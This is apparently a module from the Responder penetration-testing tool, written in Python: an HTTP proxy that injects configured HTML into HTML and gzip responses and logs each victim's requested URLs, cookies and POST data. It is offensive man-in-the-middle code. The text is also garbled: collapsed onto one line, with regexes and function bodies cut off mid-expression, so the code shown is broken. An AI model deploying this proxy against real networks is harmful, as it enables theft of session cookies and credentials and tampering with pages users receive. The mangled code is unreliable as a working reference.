#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import settings import urlparse import select import zlib import BaseHTTPServer from utils import * def HandleGzip(Headers, Content, Payload): if len(Content) > 5: try: unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS) except: return False InjectPayload = Payload Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) HasBody = re.findall('(?<= 1: try: Headers, Content = data.split('\r\n\r\n') except: return data RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] if [s for s in RedirectCodes if s in Headers]: return data if "content-encoding: gzip" in Headers.lower(): Gzip = HandleGzip(Headers, Content, settings.Config.HTMLToServe) return Gzip if Gzip else data if "content-type: text/html" in Headers.lower(): Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) HasBody = re.findall('(?<== 0: host_port = netloc[:i], int(netloc[i+1:]) else: host_port = netloc, 80 try: soc.connect(host_port) except socket.error, arg: try: msg = arg[1] except: msg = arg self.send_error(404, msg) return 0 return 1 def socket_proxy(self): Proxy = settings.Config.Upstream_Proxy Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '') Proxy = Proxy.split(':') try: Proxy = (Proxy[0], int(Proxy[1])) except: Proxy = (Proxy[0], 8080) soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) return ProxySock(soc, Proxy[0], Proxy[1]) def do_CONNECT(self): if settings.Config.Upstream_Proxy: soc = self.socket_proxy() else: soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if self._connect_to(self.path, soc): self.wfile.write(self.protocol_version +" 200 Connection established\r\n") self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) self.wfile.write("\r\n") try: self._read_write(soc, 300) except: pass finally: soc.close() self.connection.close() def do_GET(self): (scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http') if scm not in ('http') or fragment or not netloc: self.send_error(400, "bad url %s" % self.path) return if settings.Config.Upstream_Proxy: soc = self.socket_proxy() else: soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) if self._connect_to(netloc, soc): soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' print text("[PROXY] Client : %s" % color(self.client_address[0], 3, 0)) print text("[PROXY] Requested URL : %s" % color(self.path, 3, 0)) print text("[PROXY] Cookie : %s" % Cookie) self.headers['Connection'] = 'close' del self.headers['Proxy-Connection'] for key_val in self.headers.items(): soc.send("%s: %s\r\n" % key_val) soc.send("\r\n") try: self._read_write(soc, netloc) except: pass finally: soc.close() self.connection.close() def _read_write(self, soc, netloc='', max_idling=30): iw = [self.connection, soc] ow = [] count = 0 while 1: count += 1 (ins, _, exs) = select.select(iw, ow, iw, 1) if exs: break if ins: for i in ins: if i is soc: out = self.connection try: data = i.recv(8192) if len(settings.Config.HTMLToServe)>5: data = InjectData(data) else: data = InjectPage(data,self.client_address[0]) except: pass else: out = soc data = i.recv(8192) if self.command == "POST": print text("[PROXY] POST Data : %s" % data) if data: try: out.send(data) count = 0 except: pass if count == max_idling: break return None do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET do_DELETE=do_GET